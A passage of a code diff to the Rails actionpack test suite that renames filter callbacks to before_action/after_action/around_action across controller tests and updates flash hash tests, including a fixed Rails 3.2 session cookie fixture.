 
-  class BeforeFilterRedirectionController < ActionController::Base
-    before_filter :before_filter_redirects
-    after_filter :unreached_after_filter
+  class BeforeActionRedirectionController < ActionController::Base
+    before_action :before_action_redirects
+    after_action :unreached_after_action
 
     def show
       @ran_action = true
@@ -122,23 +122,23 @@ class FilterTest < ActionController::TestCase
     end
 
     private
-      def before_filter_redirects
+      def before_action_redirects
         @ran_filter ||= []
-        @ran_filter << "before_filter_redirects"
+        @ran_filter << "before_action_redirects"
         redirect_to(:action => 'target_of_redirection')
       end
 
-      def unreached_after_filter
-        @ran_filter << "unreached_after_filter_after_redirection"
+      def unreached_after_action
+        @ran_filter << "unreached_after_action_after_redirection"
       end
   end
 
-  class BeforeFilterRedirectionForPrependAfterFilterController < BeforeFilterRedirectionController
-    prepend_after_filter :unreached_prepend_after_filter_after_redirection
+  class BeforeActionRedirectionForPrependAfterActionController < BeforeActionRedirectionController
+    prepend_after_action :unreached_prepend_after_action_after_redirection
 
     private
-      def unreached_prepend_after_filter_after_redirection
-        @ran_filter << "unreached_prepend_after_filter_after_redirection"
+      def unreached_prepend_after_action_after_redirection
+        @ran_filter << "unreached_prepend_after_action_after_redirection"
       end
   end
 
@@ -151,8 +151,8 @@ class FilterTest < ActionController::TestCase
       render :inline => "ran action"
     end
 
-    def show_without_filter
-      render :inline => "ran action without filter"
+    def show_without_action
+      render :inline => "ran action without action"
     end
 
     private
@@ -168,66 +168,94 @@ class FilterTest < ActionController::TestCase
   end
 
   class ConditionalCollectionFilterController < ConditionalFilterController
-    before_filter :ensure_login, :except => [ :show_without_filter, :another_action ]
+    before_action :ensure_login, :except => [ :show_without_action, :another_action ]
   end
 
   class OnlyConditionSymController < ConditionalFilterController
-    before_filter :ensure_login, :only => :show
+    before_action :ensure_login, :only => :show
   end
 
   class ExceptConditionSymController < ConditionalFilterController
-    before_filter :ensure_login, :except => :show_without_filter
+    before_action :ensure_login, :except => :show_without_action
   end
 
   class BeforeAndAfterConditionController < ConditionalFilterController
-    before_filter :ensure_login, :only => :show
-    after_filter  :clean_up_tmp, :only => :show
+    before_action :ensure_login, :only => :show
+    after_action  :clean_up_tmp, :only => :show
   end
 
   class OnlyConditionProcController < ConditionalFilterController
-    before_filter(:only => :show) {|c| c.instance_variable_set(:"@ran_proc_filter", true) }
+    before_action(:only => :show) {|c| c.instance_variable_set(:"@ran_proc_action", true) }
   end
 
   class ExceptConditionProcController < ConditionalFilterController
-    before_filter(:except => :show_without_filter) {|c| c.instance_variable_set(:"@ran_proc_filter", true) }
+    before_action(:except => :show_without_action) {|c| c.instance_variable_set(:"@ran_proc_action", true) }
   end
 
   class ConditionalClassFilter
-    def self.before(controller) controller.instance_variable_set(:"@ran_class_filter", true) end
+    def self.before(controller) controller.instance_variable_set(:"@ran_class_action", true) end
   end
 
   class OnlyConditionClassController < ConditionalFilterController
-    before_filter ConditionalClassFilter, :only => :show
+    before_action ConditionalClassFilter, :only => :show
   end
 
   class ExceptConditionClassController < ConditionalFilterController
-    before_filter ConditionalClassFilter, :except => :show_without_filter
+    before_action ConditionalClassFilter, :except => :show_without_action
   end
 
   class AnomolousYetValidConditionController < ConditionalFilterController
-    before_filter(ConditionalClassFilter, :ensure_login, Proc.new {|c| c.instance_variable_set(:"@ran_proc_filter1", true)}, :except => :show_without_filter) { |c| c.instance_variable_set(:"@ran_proc_filter2", true)}
+    before_action(ConditionalClassFilter, :ensure_login, Proc.new {|c| c.instance_variable_set(:"@ran_proc_action1", true)}, :except => :show_without_action) { |c| c.instance_variable_set(:"@ran_proc_action2", true)}
   end
 
   class OnlyConditionalOptionsFilter < ConditionalFilterController
-    before_filter :ensure_login, :only => :index, :if => Proc.new {|c| c.instance_variable_set(:"@ran_conditional_index_proc", true) }
+    before_action :ensure_login, :only => :index, :if => Proc.new {|c| c.instance_variable_set(:"@ran_conditional_index_proc", true) }
   end
 
   class ConditionalOptionsFilter < ConditionalFilterController
-    before_filter :ensure_login, :if => Proc.new { |c| true }
-    before_filter :clean_up_tmp, :if => Proc.new { |c| false }
+    before_action :ensure_login, :if => Proc.new { |c| true }
+    before_action :clean_up_tmp, :if => Proc.new { |c| false }
   end
 
   class ConditionalOptionsSkipFilter < ConditionalFilterController
-    before_filter :ensure_login
-    before_filter :clean_up_tmp
+    before_action :ensure_login
+    before_action :clean_up_tmp
 
-    skip_before_filter :ensure_login, if: -> { false }
-    skip_before_filter :clean_up_tmp, if: -> { true }
+    skip_before_action :ensure_login, if: -> { false }
+    skip_before_action :clean_up_tmp, if: -> { true }
+  end
+
+  class SkipFilterUsingOnlyAndIf < ConditionalFilterController
+    before_action :clean_up_tmp
+    before_action :ensure_login
+
+    skip_before_action :ensure_login, only: :login, if: -> { false }
+    skip_before_action :clean_up_tmp, only: :login, if: -> { true }
+
+    def login
+      render text: 'ok'
+    end
+  end
+
+  class SkipFilterUsingIfAndExcept < ConditionalFilterController
+    before_action :clean_up_tmp
+    before_action :ensure_login
+
+    skip_before_action :ensure_login, if: -> { false }, except: :login
+    skip_before_action :clean_up_tmp, if: -> { true }, except: :login
+
+    def login
+      render text: 'ok'
+    end
+  end
+
+  class ClassController < ConditionalFilterController
+    before_action ConditionalClassFilter
   end
 
   class PrependingController < TestController
-    prepend_before_filter :wonderful_life
-    # skip_before_filter :fire_flash
+    prepend_before_action :wonderful_life
+    # skip_before_action :fire_flash
 
     private
       def wonderful_life
@@ -237,8 +265,8 @@ class FilterTest < ActionController::TestCase
   end
 
   class SkippingAndLimitedController < TestController
-    skip_before_filter :ensure_login
-    before_filter :ensure_login, :only => :index
+    skip_before_action :ensure_login
+    before_action :ensure_login, :only => :index
 
     def index
       render :text => 'ok'
@@ -250,9 +278,9 @@ class FilterTest < ActionController::TestCase
   end
 
   class SkippingAndReorderingController < TestController
-    skip_before_filter :ensure_login
-    before_filter :find_record
-    before_filter :ensure_login
+    skip_before_action :ensure_login
+    before_action :find_record
+    before_action :ensure_login
 
     def index
       render :text => 'ok'
@@ -266,10 +294,10 @@ class FilterTest < ActionController::TestCase
   end
 
   class ConditionalSkippingController < TestController
-    skip_before_filter :ensure_login, :only => [ :login ]
-    skip_after_filter  :clean_up,     :only => [ :login ]
+    skip_before_action :ensure_login, :only => [ :login ]
+    skip_after_action  :clean_up,     :only => [ :login ]
 
-    before_filter :find_user, :only => [ :change_password ]
+    before_action :find_user, :only => [ :change_password ]
 
     def login
       render :inline => "ran action"
@@ -287,8 +315,8 @@ class FilterTest < ActionController::TestCase
   end
 
   class ConditionalParentOfConditionalSkippingController < ConditionalFilterController
-    before_filter :conditional_in_parent_before, :only => [:show, :another_action]
-    after_filter  :conditional_in_parent_after, :only => [:show, :another_action]
+    before_action :conditional_in_parent_before, :only => [:show, :another_action]
+    after_action  :conditional_in_parent_after, :only => [:show, :another_action]
 
     private
 
@@ -304,20 +332,20 @@ class FilterTest < ActionController::TestCase
   end
 
   class ChildOfConditionalParentController < ConditionalParentOfConditionalSkippingController
-    skip_before_filter :conditional_in_parent_before, :only => :another_action
-    skip_after_filter  :conditional_in_parent_after, :only => :another_action
+    skip_before_action :conditional_in_parent_before, :only => :another_action
+    skip_after_action  :conditional_in_parent_after, :only => :another_action
   end
 
   class AnotherChildOfConditionalParentController < ConditionalParentOfConditionalSkippingController
-    skip_before_filter :conditional_in_parent_before, :only => :show
+    skip_before_action :conditional_in_parent_before, :only => :show
   end
 
   class ProcController < PrependingController
-    before_filter(proc { |c| c.instance_variable_set(:"@ran_proc_filter", true) })
+    before_action(proc { |c| c.instance_variable_set(:"@ran_proc_action", true) })
   end
 
   class ImplicitProcController < PrependingController
-    before_filter { |c| c.instance_variable_set(:"@ran_proc_filter", true) }
+    before_action { |c| c.instance_variable_set(:"@ran_proc_action", true) }
   end
 
   class AuditFilter
@@ -363,7 +391,7 @@ class FilterTest < ActionController::TestCase
   end
 
   class AuditController < ActionController::Base
-    before_filter(AuditFilter)
+    before_action(AuditFilter)
 
     def show
       render :text => "hello"
@@ -371,14 +399,14 @@ class FilterTest < ActionController::TestCase
   end
 
   class AroundFilterController < PrependingController
-    around_filter AroundFilter.new
+    around_action AroundFilter.new
   end
 
   class BeforeAfterClassFilterController < PrependingController
     begin
       filter = AroundFilter.new
-      before_filter filter
-      after_filter filter
+      before_action filter
+      after_action filter
     end
   end
 
@@ -390,18 +418,18 @@ class FilterTest < ActionController::TestCase
       super()
     end
 
-    before_filter { |c| c.class.execution_log << " before procfilter "  }
-    prepend_around_filter AroundFilter.new
+    before_action { |c| c.class.execution_log << " before procfilter "  }
+    prepend_around_action AroundFilter.new
 
-    after_filter  { |c| c.class.execution_log << " after procfilter " }
-    append_around_filter AppendedAroundFilter.new
+    after_action  { |c| c.class.execution_log << " after procfilter " }
+    append_around_action AppendedAroundFilter.new
   end
 
   class MixedSpecializationController < ActionController::Base
     class OutOfOrder < StandardError; end
 
-    before_filter :first
-    before_filter :second, :only => :foo
+    before_action :first
+    before_action :second, :only => :foo
 
     def foo
       render :text => 'foo'
@@ -422,7 +450,7 @@ class FilterTest < ActionController::TestCase
   end
 
   class DynamicDispatchController < ActionController::Base
-    before_filter :choose
+    before_action :choose
 
     %w(foo bar baz).each do |action|
       define_method(action) { render :text => action }
@@ -435,9 +463,9 @@ class FilterTest < ActionController::TestCase
   end
 
   class PrependingBeforeAndAfterController < ActionController::Base
-    prepend_before_filter :before_all
-    prepend_after_filter :after_all
-    before_filter :between_before_all_and_after_all
+    prepend_before_action :before_all
+    prepend_after_action :after_all
+    before_action :between_before_all_and_after_all
 
     def before_all
       @ran_filter ||= []
@@ -469,7 +497,7 @@ class FilterTest < ActionController::TestCase
   end
 
   class RescuedController < ActionController::Base
-    around_filter RescuingAroundFilterWithBlock.new
+    around_action RescuingAroundFilterWithBlock.new
 
     def show
       raise ErrorToRescue.new("Something made the bad noise.")
@@ -478,10 +506,10 @@ class FilterTest < ActionController::TestCase
 
   class NonYieldingAroundFilterController < ActionController::Base
 
-    before_filter :filter_one
-    around_filter :non_yielding_filter
-    before_filter :filter_two
-    after_filter :filter_three
+    before_action :filter_one
+    around_action :non_yielding_action
+    before_action :action_two
+    after_action :action_three
 
     def index
       render :inline => "index"
@@ -494,24 +522,23 @@ class FilterTest < ActionController::TestCase
         @filters  << "filter_one"
       end
 
-      def filter_two
-        @filters  << "filter_two"
+      def action_two
+        @filters  << "action_two"
       end
 
-      def non_yielding_filter
+      def non_yielding_action
         @filters  << "it didn't yield"
-        @filter_return_value
       end
 
-      def filter_three
-        @filters  << "filter_three"
+      def action_three
+        @filters  << "action_three"
       end
 
   end
 
   class ImplicitActionsController < ActionController::Base
-    before_filter :find_only, :only => :edit
-    before_filter :find_except, :except => :edit
+    before_action :find_only, :only => :edit
+    before_action :find_except, :except => :edit
 
     private
 
@@ -524,80 +551,63 @@ class FilterTest < ActionController::TestCase
     end
   end
 
-  def test_non_yielding_around_filters_not_returning_false_do_not_raise
+  def test_non_yielding_around_actions_do_not_raise
     controller = NonYieldingAroundFilterController.new
-    controller.instance_variable_set "@filter_return_value", true
     assert_nothing_raised do
       test_process(controller, "index")
     end
   end
 
-  def test_non_yielding_around_filters_returning_false_do_not_raise
-    controller = NonYieldingAroundFilterController.new
-    controller.instance_variable_set "@filter_return_value", false
-    assert_nothing_raised do
-      test_process(controller, "index")
-    end
-  end
-
-  def test_after_filters_are_not_run_if_around_filter_returns_false
-    controller = NonYieldingAroundFilterController.new
-    controller.instance_variable_set "@filter_return_value", false
-    test_process(controller, "index")
-    assert_equal ["filter_one", "it didn't yield"], controller.assigns['filters']
-  end
-
-  def test_after_filters_are_not_run_if_around_filter_does_not_yield
+  def test_after_actions_are_not_run_if_around_action_does_not_yield
     controller = NonYieldingAroundFilterController.new
-    controller.instance_variable_set "@filter_return_value", true
     test_process(controller, "index")
     assert_equal ["filter_one", "it didn't yield"], controller.assigns['filters']
   end
 
-  def test_added_filter_to_inheritance_graph
-    assert_equal [ :ensure_login ], TestController.before_filters
+  def test_added_action_to_inheritance_graph
+    assert_equal [ :ensure_login ], TestController.before_actions
   end
 
   def test_base_class_in_isolation
-    assert_equal [ ], ActionController::Base.before_filters
+    assert_equal [ ], ActionController::Base.before_actions
   end
 
-  def test_prepending_filter
-    assert_equal [ :wonderful_life, :ensure_login ], PrependingController.before_filters
+  def test_prepending_action
+    assert_equal [ :wonderful_life, :ensure_login ], PrependingController.before_actions
   end
 
-  def test_running_filters
+  def test_running_actions
     test_process(PrependingController)
     assert_equal %w( wonderful_life ensure_login ), assigns["ran_filter"]
   end
 
-  def test_running_filters_with_proc
+  def test_running_actions_with_proc
     test_process(ProcController)
-    assert assigns["ran_proc_filter"]
+    assert assigns["ran_proc_action"]
   end
 
-  def test_running_filters_with_implicit_proc
+  def test_running_actions_with_implicit_proc
     test_process(ImplicitProcController)
-    assert assigns["ran_proc_filter"]
+    assert assigns["ran_proc_action"]
   end
 
-  def test_running_filters_with_class
+  def test_running_actions_with_class
     test_process(AuditController)
     assert assigns["was_audited"]
   end
 
-  def test_running_anomolous_yet_valid_condition_filters
+  def test_running_anomolous_yet_valid_condition_actions
     test_process(AnomolousYetValidConditionController)
     assert_equal %w( ensure_login ), assigns["ran_filter"]
-    assert assigns["ran_class_filter"]
-    assert assigns["ran_proc_filter1"]
-    assert assigns["ran_proc_filter2"]
+    assert assigns["ran_class_action"]
+    assert assigns["ran_proc_action1"]
+    assert assigns["ran_proc_action2"]
 
-    test_process(AnomolousYetValidConditionController, "show_without_filter")
+    test_process(AnomolousYetValidConditionController, "show_without_action")
     assert_nil assigns["ran_filter"]
-    assert !assigns["ran_class_filter"]
-    assert !assigns["ran_proc_filter1"]
-    assert !assigns["ran_proc_filter2"]
+    assert !assigns["ran_class_action"]
+    assert !assigns["ran_proc_action1"]
+    assert !assigns["ran_proc_action2"]
   end
 
   def test_running_conditional_options
@@ -610,47 +620,69 @@ class FilterTest < ActionController::TestCase
     assert_equal %w( ensure_login ), assigns["ran_filter"]
   end
 
-  def test_running_collection_condition_filters
+  def test_if_is_ignored_when_used_with_only
+    test_process(SkipFilterUsingOnlyAndIf, 'login')
+    assert_nil assigns['ran_filter']
+  end
+
+  def test_except_is_ignored_when_used_with_if
+    test_process(SkipFilterUsingIfAndExcept, 'login')
+    assert_equal %w(ensure_login), assigns["ran_filter"]
+  end
+
+  def test_skipping_class_actions
+    test_process(ClassController)
+    assert_equal true, assigns["ran_class_action"]
+
+    skipping_class_controller = Class.new(ClassController) do
+      skip_before_action ConditionalClassFilter
+    end
+
+    test_process(skipping_class_controller)
+    assert_nil assigns['ran_class_action']
+  end
+
+  def test_running_collection_condition_actions
     test_process(ConditionalCollectionFilterController)
     assert_equal %w( ensure_login ), assigns["ran_filter"]
-    test_process(ConditionalCollectionFilterController, "show_without_filter")
+    test_process(ConditionalCollectionFilterController, "show_without_action")
     assert_nil assigns["ran_filter"]
     test_process(ConditionalCollectionFilterController, "another_action")
     assert_nil assigns["ran_filter"]
   end
 
-  def test_running_only_condition_filters
+  def test_running_only_condition_actions
     test_process(OnlyConditionSymController)
     assert_equal %w( ensure_login ), assigns["ran_filter"]
-    test_process(OnlyConditionSymController, "show_without_filter")
+    test_process(OnlyConditionSymController, "show_without_action")
     assert_nil assigns["ran_filter"]
 
     test_process(OnlyConditionProcController)
-    assert assigns["ran_proc_filter"]
-    test_process(OnlyConditionProcController, "show_without_filter")
-    assert !assigns["ran_proc_filter"]
+    assert assigns["ran_proc_action"]
+    test_process(OnlyConditionProcController, "show_without_action")
+    assert !assigns["ran_proc_action"]
 
     test_process(OnlyConditionClassController)
-    assert assigns["ran_class_filter"]
-    test_process(OnlyConditionClassController, "show_without_filter")
-    assert !assigns["ran_class_filter"]
+    assert assigns["ran_class_action"]
+    test_process(OnlyConditionClassController, "show_without_action")
+    assert !assigns["ran_class_action"]
   end
 
-  def test_running_except_condition_filters
+  def test_running_except_condition_actions
     test_process(ExceptConditionSymController)
     assert_equal %w( ensure_login ), assigns["ran_filter"]
-    test_process(ExceptConditionSymController, "show_without_filter")
+    test_process(ExceptConditionSymController, "show_without_action")
     assert_nil assigns["ran_filter"]
 
     test_process(ExceptConditionProcController)
-    assert assigns["ran_proc_filter"]
-    test_process(ExceptConditionProcController, "show_without_filter")
-    assert !assigns["ran_proc_filter"]
+    assert assigns["ran_proc_action"]
+    test_process(ExceptConditionProcController, "show_without_action")
+    assert !assigns["ran_proc_action"]
 
     test_process(ExceptConditionClassController)
-    assert assigns["ran_class_filter"]
-    test_process(ExceptConditionClassController, "show_without_filter")
-    assert !assigns["ran_class_filter"]
+    assert assigns["ran_class_action"]
+    test_process(ExceptConditionClassController, "show_without_action")
+    assert !assigns["ran_class_action"]
   end
 
   def test_running_only_condition_and_conditional_options
@@ -658,70 +690,70 @@ class FilterTest < ActionController::TestCase
     assert_not assigns["ran_conditional_index_proc"]
   end
 
-  def test_running_before_and_after_condition_filters
+  def test_running_before_and_after_condition_actions
     test_process(BeforeAndAfterConditionController)
     assert_equal %w( ensure_login clean_up_tmp), assigns["ran_filter"]
-    test_process(BeforeAndAfterConditionController, "show_without_filter")
+    test_process(BeforeAndAfterConditionController, "show_without_action")
     assert_nil assigns["ran_filter"]
   end
 
-  def test_around_filter
+  def test_around_action
     test_process(AroundFilterController)
     assert assigns["before_ran"]
     assert assigns["after_ran"]
   end
 
-  def test_before_after_class_filter
+  def test_before_after_class_action
     test_process(BeforeAfterClassFilterController)
     assert assigns["before_ran"]
     assert assigns["after_ran"]
   end
 
-  def test_having_properties_in_around_filter
+  def test_having_properties_in_around_action
     test_process(AroundFilterController)
     assert_equal "before and after", assigns["execution_log"]
   end
 
-  def test_prepending_and_appending_around_filter
+  def test_prepending_and_appending_around_action
     test_process(MixedFilterController)
     assert_equal " before aroundfilter  before procfilter  before appended aroundfilter " +
                  " after appended aroundfilter  after procfilter  after aroundfilter ",
                  MixedFilterController.execution_log
   end
 
-  def test_rendering_breaks_filtering_chain
+  def test_rendering_breaks_actioning_chain
     response = test_process(RenderingController)
     assert_equal "something else", response.body
     assert !assigns["ran_action"]
   end
 
-  def test_before_filter_rendering_breaks_filtering_chain_for_after_filter
+  def test_before_action_rendering_breaks_actioning_chain_for_after_action
     test_process(RenderingController)
-    assert_equal %w( before_filter_rendering ), assigns["ran_filter"]
+    assert_equal %w( before_action_rendering ), assigns["ran_filter"]
     assert !assigns["ran_action"]
   end
 
-  def test_before_filter_redirects_breaks_filtering_chain_for_after_filter
-    test_process(BeforeFilterRedirectionController)
+  def test_before_action_redirects_breaks_actioning_chain_for_after_action
+    test_process(BeforeActionRedirectionController)
     assert_response :redirect
-    assert_equal "http://test.host/filter_test/before_filter_redirection/target_of_redirection", redirect_to_url
-    assert_equal %w( before_filter_redirects ), assigns["ran_filter"]
+    assert_equal "http://test.host/filter_test/before_action_redirection/target_of_redirection", redirect_to_url
+    assert_equal %w( before_action_redirects ), assigns["ran_filter"]
   end
 
-  def test_before_filter_rendering_breaks_filtering_chain_for_preprend_after_filter
-    test_process(RenderingForPrependAfterFilterController)
-    assert_equal %w( before_filter_rendering ), assigns["ran_filter"]
+  def test_before_action_rendering_breaks_actioning_chain_for_preprend_after_action
+    test_process(RenderingForPrependAfterActionController)
+    assert_equal %w( before_action_rendering ), assigns["ran_filter"]
     assert !assigns["ran_action"]
   end
 
-  def test_before_filter_redirects_breaks_filtering_chain_for_preprend_after_filter
-    test_process(BeforeFilterRedirectionForPrependAfterFilterController)
+  def test_before_action_redirects_breaks_actioning_chain_for_preprend_after_action
+    test_process(BeforeActionRedirectionForPrependAfterActionController)
     assert_response :redirect
-    assert_equal "http://test.host/filter_test/before_filter_redirection_for_prepend_after_filter/target_of_redirection", redirect_to_url
-    assert_equal %w( before_filter_redirects ), assigns["ran_filter"]
+    assert_equal "http://test.host/filter_test/before_action_redirection_for_prepend_after_action/target_of_redirection", redirect_to_url
+    assert_equal %w( before_action_redirects ), assigns["ran_filter"]
   end
 
-  def test_filters_with_mixed_specialization_run_in_order
+  def test_actions_with_mixed_specialization_run_in_order
     assert_nothing_raised do
       response = test_process(MixedSpecializationController, 'bar')
       assert_equal 'bar', response.body
@@ -742,7 +774,7 @@ class FilterTest < ActionController::TestCase
     end
   end
 
-  def test_running_prepended_before_and_after_filter
+  def test_running_prepended_before_and_after_action
     test_process(PrependingBeforeAndAfterController)
     assert_equal %w( before_all between_before_all_and_after_all after_all ), assigns["ran_filter"]
   end
@@ -759,26 +791,26 @@ class FilterTest < ActionController::TestCase
     assert_equal %w( find_record ensure_login ), assigns["ran_filter"]
   end
 
-  def test_conditional_skipping_of_filters
+  def test_conditional_skipping_of_actions
     test_process(ConditionalSkippingController, "login")
     assert_nil assigns["ran_filter"]
     test_process(ConditionalSkippingController, "change_password")
     assert_equal %w( ensure_login find_user ), assigns["ran_filter"]
 
     test_process(ConditionalSkippingController, "login")
-    assert !@controller.instance_variable_defined?("@ran_after_filter")
+    assert !@controller.instance_variable_defined?("@ran_after_action")
     test_process(ConditionalSkippingController, "change_password")
-    assert_equal %w( clean_up ), @controller.instance_variable_get("@ran_after_filter")
+    assert_equal %w( clean_up ), @controller.instance_variable_get("@ran_after_action")
   end
 
-  def test_conditional_skipping_of_filters_when_parent_filter_is_also_conditional
+  def test_conditional_skipping_of_actions_when_parent_action_is_also_conditional
     test_process(ChildOfConditionalParentController)
     assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), assigns['ran_filter']
     test_process(ChildOfConditionalParentController, 'another_action')
     assert_nil assigns['ran_filter']
   end
 
-  def test_condition_skipping_of_filters_when_siblings_also_have_conditions
+  def test_condition_skipping_of_actions_when_siblings_also_have_conditions
     test_process(ChildOfConditionalParentController)
     assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), assigns['ran_filter']
     test_process(AnotherChildOfConditionalParentController)
@@ -792,7 +824,7 @@ class FilterTest < ActionController::TestCase
     assert_nil assigns['ran_filter']
   end
 
-  def test_a_rescuing_around_filter
+  def test_a_rescuing_around_action
     response = nil
     assert_nothing_raised do
       response = test_process(RescuedController)
@@ -802,7 +834,7 @@ class FilterTest < ActionController::TestCase
     assert_equal("I rescued this: #<FilterTest::ErrorToRescue: Something made the bad noise.>", response.body)
   end
 
-  def test_filters_obey_only_and_except_for_implicit_actions
+  def test_actions_obey_only_and_except_for_implicit_actions
     test_process(ImplicitActionsController, 'show')
     assert_equal 'Except', assigns(:except)
     assert_nil assigns(:only)
@@ -836,7 +868,7 @@ class PostsController < ActionController::Base
     include AroundExceptions
   end
 
-  module_eval %w(raises_before raises_after raises_both no_raise no_filter).map { |action| "def #{action}; default_action end" }.join("\n")
+  module_eval %w(raises_before raises_after raises_both no_raise no_action).map { |action| "def #{action}; default_action end" }.join("\n")
 
   private
     def default_action
@@ -845,9 +877,9 @@ class PostsController < ActionController::Base
 end
 
 class ControllerWithSymbolAsFilter < PostsController
-  around_filter :raise_before, :only => :raises_before
-  around_filter :raise_after, :only => :raises_after
-  around_filter :without_exception, :only => :no_raise
+  around_action :raise_before, :only => :raises_before
+  around_action :raise_after, :only => :raises_after
+  around_action :without_exception, :only => :no_raise
 
   private
     def raise_before
@@ -879,7 +911,7 @@ class ControllerWithFilterClass < PostsController
     end
   end
 
-  around_filter YieldingFilter, :only => :raises_after
+  around_action YieldingFilter, :only => :raises_after
 end
 
 class ControllerWithFilterInstance < PostsController
@@ -890,22 +922,11 @@ class ControllerWithFilterInstance < PostsController
     end
   end
 
-  around_filter YieldingFilter.new, :only => :raises_after
-end
-
-class ControllerWithFilterMethod < PostsController
-  class YieldingFilter < DefaultFilter
-    def around(controller)
-      yield
-      raise After
-    end
-  end
-
-  around_filter YieldingFilter.new.method(:around), :only => :raises_after
+  around_action YieldingFilter.new, :only => :raises_after
 end
 
 class ControllerWithProcFilter < PostsController
-  around_filter(:only => :no_raise) do |c,b|
+  around_action(:only => :no_raise) do |c,b|
     c.instance_variable_set(:"@before", true)
     b.call
     c.instance_variable_set(:"@after", true)
@@ -913,14 +934,14 @@ class ControllerWithProcFilter < PostsController
 end
 
 class ControllerWithNestedFilters < ControllerWithSymbolAsFilter
-  around_filter :raise_before, :raise_after, :without_exception, :only => :raises_both
+  around_action :raise_before, :raise_after, :without_exception, :only => :raises_both
 end
 
 class ControllerWithAllTypesOfFilters < PostsController
-  before_filter :before
-  around_filter :around
-  after_filter :after
-  around_filter :around_again
+  before_action :before
+  around_action :around
+  after_action :after
+  around_action :around_again
 
   private
   def before
@@ -946,8 +967,8 @@ class ControllerWithAllTypesOfFilters < PostsController
 end
 
 class ControllerWithTwoLessFilters < ControllerWithAllTypesOfFilters
-  skip_filter :around_again
-  skip_filter :after
+  skip_action_callback :around_again
+  skip_action_callback :after
 end
 
 class YieldingAroundFiltersTest < ActionController::TestCase
@@ -958,7 +979,7 @@ class YieldingAroundFiltersTest < ActionController::TestCase
     assert_nothing_raised { test_process(controller,'no_raise') }
     assert_nothing_raised { test_process(controller,'raises_before') }
     assert_nothing_raised { test_process(controller,'raises_after') }
-    assert_nothing_raised { test_process(controller,'no_filter') }
+    assert_nothing_raised { test_process(controller,'no_action') }
   end
 
   def test_with_symbol
@@ -987,7 +1008,7 @@ class YieldingAroundFiltersTest < ActionController::TestCase
     assert assigns['after']
   end
 
-  def test_nested_filters
+  def test_nested_actions
     controller = ControllerWithNestedFilters
     assert_nothing_raised do
       begin
@@ -1003,34 +1024,34 @@ class YieldingAroundFiltersTest < ActionController::TestCase
     end
   end
 
-  def test_filter_order_with_all_filter_types
+  def test_action_order_with_all_action_types
     test_process(ControllerWithAllTypesOfFilters,'no_raise')
     assert_equal 'before around (before yield) around_again (before yield) around_again (after yield) after around (after yield)', assigns['ran_filter'].join(' ')
   end
 
-  def test_filter_order_with_skip_filter_method
+  def test_action_order_with_skip_action_method
     test_process(ControllerWithTwoLessFilters,'no_raise')
     assert_equal 'before around (before yield) around (after yield)', assigns['ran_filter'].join(' ')
   end
 
-  def test_first_filter_in_multiple_before_filter_chain_halts
+  def test_first_action_in_multiple_before_action_chain_halts
     controller = ::FilterTest::TestMultipleFiltersController.new
     response = test_process(controller, 'fail_1')
-    assert_equal ' ', response.body
+    assert_equal '', response.body
     assert_equal 1, controller.instance_variable_get(:@try)
   end
 
-  def test_second_filter_in_multiple_before_filter_chain_halts
+  def test_second_action_in_multiple_before_action_chain_halts
     controller = ::FilterTest::TestMultipleFiltersController.new
     response = test_process(controller, 'fail_2')
-    assert_equal ' ', response.body
+    assert_equal '', response.body
     assert_equal 2, controller.instance_variable_get(:@try)
   end
 
-  def test_last_filter_in_multiple_before_filter_chain_halts
+  def test_last_action_in_multiple_before_action_chain_halts
     controller = ::FilterTest::TestMultipleFiltersController.new
     response = test_process(controller, 'fail_3')
-    assert_equal ' ', response.body
+    assert_equal '', response.body
     assert_equal 3, controller.instance_variable_get(:@try)
   end
 
diff --git a/actionpack/test/controller/flash_hash_test.rb b/actionpack/test/controller/flash_hash_test.rb
index 5490d9394b..081288ef21 100644
--- a/actionpack/test/controller/flash_hash_test.rb
+++ b/actionpack/test/controller/flash_hash_test.rb
@@ -29,6 +29,15 @@ module ActionDispatch
       assert_equal 'world', @hash['hello']
     end
 
+    def test_key
+      @hash['foo'] = 'bar'
+
+      assert @hash.key?('foo')
+      assert @hash.key?(:foo)
+      assert_not @hash.key?('bar')
+      assert_not @hash.key?(:bar)
+    end
+
     def test_delete
       @hash['foo'] = 'bar'
       @hash.delete 'foo'
@@ -48,23 +57,36 @@ module ActionDispatch
 
     def test_to_session_value
       @hash['foo'] = 'bar'
-      assert_equal({'flashes' => {'foo' => 'bar'}, 'discard' => []}, @hash.to_session_value)
-
-      @hash.discard('foo')
-      assert_equal({'flashes' => {'foo' => 'bar'}, 'discard' => %w[foo]}, @hash.to_session_value)
+      assert_equal({'flashes' => {'foo' => 'bar'}}, @hash.to_session_value)
 
       @hash.now['qux'] = 1
-      assert_equal({'flashes' => {'foo' => 'bar', 'qux' => 1}, 'discard' => %w[foo qux]}, @hash.to_session_value)
+      assert_equal({'flashes' => {'foo' => 'bar'}}, @hash.to_session_value)
+
+      @hash.discard('foo')
+      assert_equal(nil, @hash.to_session_value)
 
       @hash.sweep
       assert_equal(nil, @hash.to_session_value)
     end
 
     def test_from_session_value
-      rails_3_2_cookie = 'BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJWY4ZTFiODE1MmJhNzYwOWMyOGJiYjE3ZWM5MjYzYmE3BjsAVEkiCmZsYXNoBjsARm86JUFjdGlvbkRpc3BhdGNoOjpGbGFzaDo6Rmxhc2hIYXNoCToKQHVzZWRvOghTZXQGOgpAaGFzaHsAOgxAY2xvc2VkRjoNQGZsYXNoZXN7BkkiDG1lc3NhZ2UGOwBGSSIKSGVsbG8GOwBGOglAbm93MA=='
+      # {"session_id"=>"f8e1b8152ba7609c28bbb17ec9263ba7", "flash"=>#<ActionDispatch::Flash::FlashHash:0x00000000000000 @used=#<Set: {"farewell"}>, @closed=false, @flashes={"greeting"=>"Hello", "farewell"=>"Goodbye"}, @now=nil>}
+      rails_3_2_cookie = 'BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJWY4ZTFiODE1MmJhNzYwOWMyOGJiYjE3ZWM5MjYzYmE3BjsAVEkiCmZsYXNoBjsARm86JUFjdGlvbkRpc3BhdGNoOjpGbGFzaDo6Rmxhc2hIYXNoCToKQHVzZWRvOghTZXQGOgpAaGFzaHsGSSINZmFyZXdlbGwGOwBUVDoMQGNsb3NlZEY6DUBmbGFzaGVzewdJIg1ncmVldGluZwY7AFRJIgpIZWxsbwY7AFRJIg1mYXJld2VsbAY7AFRJIgxHb29kYnllBjsAVDoJQG5vdzA='
       session = Marshal.load(Base64.decode64(rails_3_2_cookie))
